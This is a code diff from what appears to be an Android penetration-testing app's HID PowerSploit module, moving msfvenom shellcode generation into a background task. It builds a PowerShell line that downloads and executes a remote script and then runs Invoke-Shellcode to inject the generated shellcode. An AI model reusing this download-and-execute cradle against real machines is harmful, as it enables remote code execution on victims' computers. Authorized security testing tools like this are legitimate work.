diff --git a/res/layout/hid_powersploit.xml b/res/layout/hid_powersploit.xml index 40d31ce..7925028 100644 --- a/res/layout/hid_powersploit.xml +++ b/res/layout/hid_powersploit.xml @@ -29,7 +29,8 @@ android:layout_width="334dp" android:layout_height="wrap_content" android:ems="10" - android:digits="0123456789." /> + android:digits="0123456789." + android:inputType="number"/> task = new AsyncTask() { - Log.d(TAG, "MSFVENOMOUT: " + msfvenomOut); + ProgressDialog pDialog; - String newString = "Invoke-Shellcode -Force -Shellcode " + msfvenomOut; - String newText = "iex (New-Object Net.WebClient).DownloadString(\"" + newPayloadUrl.getText() + "\"); " + newString; + @Override + protected void onPreExecute(){ + pDialog = new ProgressDialog(getActivity()); + pDialog.setMessage("Generating shellcode..."); + pDialog.show(); + pDialog.setCancelable(false); + super.onPreExecute(); + } - Boolean isUrlpathSaved = exe.SaveFileContents(newText, configFileUrlPath); + @Override + protected Void doInBackground(Void... params) { + ShellExecuter exe = new ShellExecuter(); + String removecommand = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd \"rm -f /tmp/pwrshell_string >/dev/null\"'"; + String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd \"" + msfvenom + "\"'"; + String command2 = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd python /sdcard/nh_files/modules/powerball.py'"; + Log.d(TAG, command); + exe.RunAsRootOutput(removecommand); + exe.RunAsRootOutput(command); + msfvenomOut = exe.RunAsRootOutput(command2); + msfvenomOut = msfvenomOut.substring(7); + + return null; + } - if (!isUrlpathSaved){ - nh.showMessage("Source not updated (configFileUrlPath)"); + @Override + protected void onPostExecute(Void result) { + Log.d(TAG, "MSFVENOMOUT: " + msfvenomOut); + + if(msfvenomOut.matches("(.*)Error opening file(.*)")){ + nh.showMessage("Problems with shellcode output!"); + } else { + ShellExecuter exe = new ShellExecuter(); + String newString = "Invoke-Shellcode -Force -Shellcode " + msfvenomOut; + String newText = "iex (New-Object Net.WebClient).DownloadString(\"" + newPayloadUrl.getText() + "\"); " + newString; + isUrlpathSaved = exe.SaveFileContents(newText, configFileUrlPath); + if (!isUrlpathSaved){ + nh.showMessage("Source not updated (configFileUrlPath)"); + } + } + super.onPostExecute(result); + if (pDialog != null) { + pDialog.dismiss(); + } } + }; + task.execute((Void[])null); break; default: nh.showMessage("Unknown click"); @@ -395,24 +428,6 @@ public void onClick(View v) { } } - public class getMSFvenomOut extends AsyncTask { - protected String doInBackground(Void... params) { - ShellExecuter exe = new ShellExecuter(); - String command = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd \"" + msfvenom + "\"'"; - String command2 = "su -c '" + nh.APP_SCRIPTS_PATH + "/bootkali custom_cmd python /sdcard/nh_files/modules/powerball.py'"; - Log.d(TAG, command); - try { - exe.RunAsRootOutput(command); - msfvenomOut = exe.RunAsRootOutput(command2); - msfvenomOut = msfvenomOut.substring(7); - - } catch (Exception e) { - Log.d(TAG, String.valueOf(e)); - }; - return null; - } - } - public static class WindowsCmdFragment extends HidFragment implements OnClickListener { private String configFilePath = nh.APP_SD_FILES_PATH + "/configs/hid-cmd.conf";